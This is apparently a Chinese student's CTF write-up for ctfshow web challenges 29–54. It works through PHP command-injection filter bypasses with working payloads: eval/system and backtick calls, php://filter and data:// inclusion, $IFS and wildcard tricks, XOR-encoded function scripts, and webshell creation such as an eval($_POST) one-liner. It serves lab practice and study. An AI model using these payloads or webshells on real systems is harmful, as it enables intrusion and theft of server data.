Web-29
题目提示:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
方法一
输入:?c=system("ls -a");//查看目录下的所有文件
先看一下需要的文件是否在当前目录,诶,发现在的
输入:cat f*
要右键查看源代码才能看到
笑死了,两位大佬开始探讨新方法了,这边偷师一下下
方法二
输入:?c=eval($_POST['a']); //因为a这个是字符串,不能被执行,所以要加一个eval
然后去蚁剑连接一下,诶,成功~
点开去找找flag
有啦
方法三
这是最开始的想法哈哈哈,小小介绍一下
我们输入:?c=system("ls -a"); //查看全部文件
因为寻思着flag被过滤了,就就就想办法拿到flag的内容
输入:?c=system("touch xjw.php"); //新建一个.php文件
?c=system("ls -a"); //瞅瞅有没有成功添加
?c=system("cp f* xjw.php"); //把flag.pph复制到xjw.php里
?c=system("cat xjw.php") //输出文件内容
记得这个也是要右键查看源代码的哈~
这里其实就是第一种方法的复杂版哈哈哈哈哈哈哈,就是自己的第一个想法,所以就一定要做一下
小知识-cat
在linux中与cat有类似功能的cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
找到一个替换的即可
Web-30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
从上一题学到if(!preg_match("/flag/i", $c)就是过滤的意思,所以本题可知过滤了flag、system,所以昨天的那种方法就行不通啦
方法一
输入:?c=`cp fla????? xjw.txt`; //把flag.php的文件内容复制到xjw.txt
查看 xjw.txt
方法二
输入:?c=passthru('tac f*');
甚至不用右键查看源代码,直接就出现了
小知识-system
system() 输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针.
这道题原来想试试用 exec("echo f*");试试来着的,没成功啊嘞,上面两种方法是去看了看大佬们的wp,第三种才是自己写的,救命哈哈哈哈我好菜
方法三
模仿上一题的第二种方法试了试
输入:?c=eval($_POST["xjw"]);
xjw=phpinfp();
如图
成功连接当当当~~
然后就是老办法去找flag藏在哪里
Get!偷师成功~
Web-31
flag\system\php\cat\sort\shell\小数点\空格\单引号
过滤了好多救命,不慌不慌,道理应该都是一样的(做完看了看大佬的wp,好像说是过滤了空格啊嘞)
一招打遍好不啦,别骂哈哈哈哈哈哈等我学新方法再po上来
小知识-空格
在linux 空格可以用以下字符串代替
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
原:cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
Web-32
flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号
老方法行不通了哈哈哈哈
试了好多已经会了的方法,无果,灰溜溜去看wp,涉及到php伪协议,就是之前协会考核的第三题还是第四题来着的,先学习一下下再战
参考网站:https://segmentfault.com/a/1190000018991087
先输入
啥也没有,eval尝试失败,因为echo、print 、require和include什么的不需要括号(欢迎补充),但是题目过滤了echo,所以我们考虑用include绕过
输入:?c=include$_POST[1]?> //这里的"?>"是代替被过滤掉的";"的
1=php://filter/read=convert.base64-encode/resource=flag.php //伪协议
查了一下,这种方法叫参数逃逸(找度娘半天没看到什么有关的啊嘞)
会回显一串长不拉几的编码
因为这里是Base-64编码,所以我们得转一下得到内容
小知识-反引号
反引号和单引号与双引号则完全不同,后两者都是括号内的字符当作字符串处理,而反引号则处理命令。相当于system()。
反引号在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行
小知识-函数和语言结构
这个对应上面
为啥它们不需要括号的问题,就涉及了我们这次的知识点
语言结构和函数的不同
(1)语言结构比对应功能的函数快
(2)语言结构在错误处理上比较粗糙,由于是语言关键词,所以不具备再处理的环节
(3)语言结构不能在配置项(php.ini)中禁用,函数则可以。
(4)语言结构不能被用做回调函数
补:语言结构列表 :
echo() print() die() isset() unset() include() array() list() empty() require()
小声bb:其实我也没咋懂,记住几个常用的就完事
Web-33
flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号\引号
跟上题有点像,就直接用原来的payload试了试,一直不行,看了看也没有什么东西被过滤哇,局势僵持了好久,苦苦挣扎,最后,哦,我resource写错了,没想到吃了老本的亏,孩子真的会谢~_~
呜呜呜continue
输入:?c=include$_POST[xjw]?>
xjw=php://filter/read=convert.base64-encode/resource=flag.php
发现每次都学好一招可以混好几题啊嘞
web-34
flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号\引号\小于号\等于号
这题不能完全用上一题的了,"=" ":"都被过滤了啊嘞
这里试了一下用"rlike"、"like"和"!<>"什么的代替"="好像八太行
最后把POST请求改成GET就就就好了
输入:?c=include$_GET[xjw]?>&xjw=php://filter/read=convert.base64-encode/resource=flag.php
题是误打误撞做出来了,但是咱还是得搞搞清楚,dd我大哥
如图哈~然后解码一下下,搞定
web-35
就是说没看出来和34题有啥区别,就一样的再来一遍,有一个练手小技巧:就是这种一样一样的我们就可以自己手打,不要ctrlc+v了,随便还能记下来嘿嘿嘿小聪明yyds
就是说又出来了bingo~
web-36
flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号\引号\小于号\等于号\撇号(不知道是不是这样叫的哈哈哈)\数字\
没影响的,它多过滤的东西我们都没有出现再payload里,就直接再来打一遍就ok了
web-37
(因为后台说我这有啥后门病毒,所以我这一篇就都先弄图哈)
换花样了友友们,不能摆大烂,啃老本了嗷~
因为除了flag就什么没过滤了,就跟前面的输一样的试试
没成功啊嘞,再试试偷师的方法
失败again,再去试试其他的伪协议
去看了看这题的提示(前面竟然都忘记还有这么一个东西),用data://伪协议
然后右键查看源码就好了
前面尝试了这种方法,想跟蚁剑连一连来着的,内容为空也不知道为啥
到时候去问问师傅
小知识-伪协议
file:// 协议
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php:// 协议
1.php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
2.php://input + [POST DATA]执行php代码
如http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
若有写入权限,还可以写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib:// 协议
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
data:// 协议
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
web-38
比上一题多过滤了个php和filter,那就是说咱只是php://filter不能用,data://还是可行的,但是不能跟上题一模一样了,得找找php的替代品,直接联想到前面反引号代替system()的例子
输入:?c=data:text/plain,<?`cat f*`;?>
嘿嘿小聪明有点用
web-39
但看过滤就只有一个flag,把上一题的payload丢进去试试,出现了个.php,仔细
看看源代码是这样子
看到了include($c.".php");
,问了师傅了解到<?= ?>
标签 已经闭合了所以不会受到php的影响
输入:?c=data:text/plain,<?=`tac f*`;?>
因为tac起到反向显示的作用(就是cat是按顺序从上往下呈现的,而tac是反着来的)
这样子的
小知识-菜刀蚁剑冰蝎
菜刀 流量直接在base64里显示的拿去
蚁剑 php编码的 大部分都是base64方法
冰蝎 老版本 新版本取消了密钥 强特征就只有请求长度是固定的,弱特征是可以改的
web-40
可以看到这里过滤了数字和各种符号,第一个思路就是我们只能用"()"或者"a-z""A-Z"完成绕过,想想都是只能用函数,而且肯定没那么简单一个函数就出来,因为跟函数不熟,所以就考虑看提示好叭
方法一
救命,他好像直接答案给我了
输入:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
就直接出来了,我人傻了
方法二
因为用的是火狐,所以好像不能在application里面修改参数, 用谷歌可以,但是谷歌里我没下插件emmm,所以听师傅的抓个包,设置参数 ?c=session_start();system(session_id()); PHPSESSID=ls;
显示出了全部文件,接下来就正常操作cat一下
理想太美好,现实太骨感,接下来就又是一通乱试tac什么的,也不行,又多了个PHPSESSIOD就很离谱,无效提示好不啦,蒜啦,姐姐摆烂了
web-41
可以看到,数字和字母都被过滤了,先去正则输入命令瞅瞅,这样更直观一丢丢
输入:system("cat flag.php");
后来发现是|和()没有被过滤(|这个叫异或符,就是真真为真,真假为假这种)
上次尝试了不会就abandon了 好久,又忘记看hint了,这题需要写两个脚本,需要python环境,不要问我怎么知道的
所以就去Phpstudy里弄环境了
把Hint里的脚本源码放这里好了,好看点
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
上面脚本主要是为我们要输入的命令进行Ascii编码什么的,起到绕过作用,然后去浏览器输入ctfshow/41.php,是空白的对不啦,没事,往下就是了
继续创建一个41.py的文件,脚本源码还是放上来
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
#s.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
然后抓个包输入经过编码后的参数,传递一波
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
小知识点-shell
这个是听师傅说的,我小小概括一下
就是long long ago,用的系统(dos系统)还很捞,没有图形界面,为了正常操作计算机,大家就需要通过把命令往shell中输入,后来有了macos、windows系统的图形化界面,就可以进行点按操作,哪些可以输入命令的条条框框都叫做shell
为什么叫webshell:因为可以通过web页面去接收执行命令
web-42
我是菜狗我不知道什么是isset
接下来就是看其他代码了
>/dev/null
这里的意思是输出为空,它把我们输入的命令发送到黑洞里去了
2>&1
这个的意思就是第二个命令是错误输出,第一个是标准输出,把错误输出输入到标准输出,统一输入到黑洞里
就是我们输入两个命令,第二个命令进黑洞(不输出),第一个就是可以执行的
方法一
输入:?c=cat flag.php;ll
页面空了没事,右键查看源代码
方法二
Hint里的方法
输入:?c=cat flag.php%0a
我也不知道这个%0a干嘛的,感觉是起截断作用的,查了一下转化进制和ASCII码什么的也没看到,但是也可以做出来
web-43
没什么区别,也就是过滤了个 ;,换个分隔符就ok
输入:?c=cat flag.php&&ll
很尴尬,输出了1,翻车
后来知道 && 的意思是第一个命令执行成功才能执行第二个命令
试了?c=more flag.php--
?c=more flag.php&&ls
?c=cat flag.php&&ls //别学我不好好审题,cat被过滤了
?c=cat flag.php&&cat flag.php
?c=tac flag.php&&tac flag.php //全败
看了一下Hint
输入:?c=nl%20flag.php%0a
输入:?c=tac flag.php%26%26flag.php
也OK
后来试了试?c=tac%09flag.php||ls
也是成功的
web-44
觉得还是直接复制代码好看点哈哈哈哈
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里是多过滤了flag
输入:?c=tac f*%0a
?c=tac f*||ls
都可以直接出好不啦
web-45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
比上一题多了个空格
输入:?c=tac%09f*||ls
?c=tac%09f*%0a
这里不知道为啥空格用%20替换是出不来flag的,非常神奇
web-46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同样也是多了几个过滤,注意到也没幸免哈哈哈,不打紧,就是说我们的f和%0a得换条路走了
输入:?c=tac%09f???.php||ls
有啦
web-47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这几个过滤的命令一般都是cat的替代,要不就输出前几后几的,我们的tac还是安全的吼吼
?c=tac%09f???.php||ls
跟上一题输入的一样就可以做出来了
web-48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
输入:?c=tac%09f???.php||ls
纯纯属于一招打遍好叭
web-49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
第一时间想着姐姐的%没保住,后来一想,不对,%09这种转码的不算
?c=tac%09f???.php||ls
快乐又肥来了
web-50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
好家伙,终究没躲过
输入:?c=nl<f'',php%7c%7cls //%7c就是||的意思
输入不太行,后来反应过来''不等于*
''好像是叫shell特性
重新输入:?c=nl<fla''g.php%7c%7cls
?c=nl<fla''g.php||ls //7c不7c的都可以
这里有个东西很难不骂
就是说不仔细看是不是一模一样,仔细看会发现,诶,这个1的头怎么不一样,是什么大离谱1还有中英文形式麻,一通查资料,原来是nl,我是冤种
web-51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
tac小宝贝被过滤了,不打紧,现在咱用nl了哈哈哈哈哈哈
输入:?c=nl<fla''g.php%0a
web-52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
好像没啥影响,哦哦这里有个小tip,就是我们这样一题题做下来就可以把上题过滤的放一起看看变化,这样过滤的变多了也不容易看错
这里过滤的是大小于号,所以我们 nl< 就又不行了~,诶发现$被放出来了,可以去翻翻之前的博客,有介绍过空格的绕过姿势
我们可以采取前面两种方式
?c=cp${IFS}/fla?${IFS}/var/www/html/xjw.txt||ls
/xjw.txt
这里是把flag下的内容复制到xjw.txt上(cp),接着我们查看xjw.txt就可以直接看到了
做完去试了一下Hint的方法,他是直接nl$IFS/fla''g||,别理,弄不出来~
web-53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
多过滤了个wget,然后这一题是既输出我们输入的命令又输出system执行输出的命令(要注意system输出的是结果的最后一行)
先输入ls||ls看看有什么
会发现出现了个readflag,第一直觉就是flag应该换位置了,老方法输入
?c=cp${IFS}/readflag${IFS}/var/www/html/xjw.txt||ls
笑死了,这么直白拒绝我(代码里写了,又审题不仔细)
突然想起来flag被过滤了,改个 fla?重新试一下刚刚那一条payload
查看一下readflag文件,下载了,是一个二进制内容救命,直觉出错了,还是继续flag.php好了
输入:?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php //这两种都可以
web-54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题就很离谱哈哈哈哈哈哈哈os:这是在干什么
输入:?c=mv${IFS}fla?.php${IFS}xjw.txt //把flag文件重命名为xjw
就会发现xjw已经代替了flag哈哈哈哈哈,然后就直接查看xjw就好啦
评论已关闭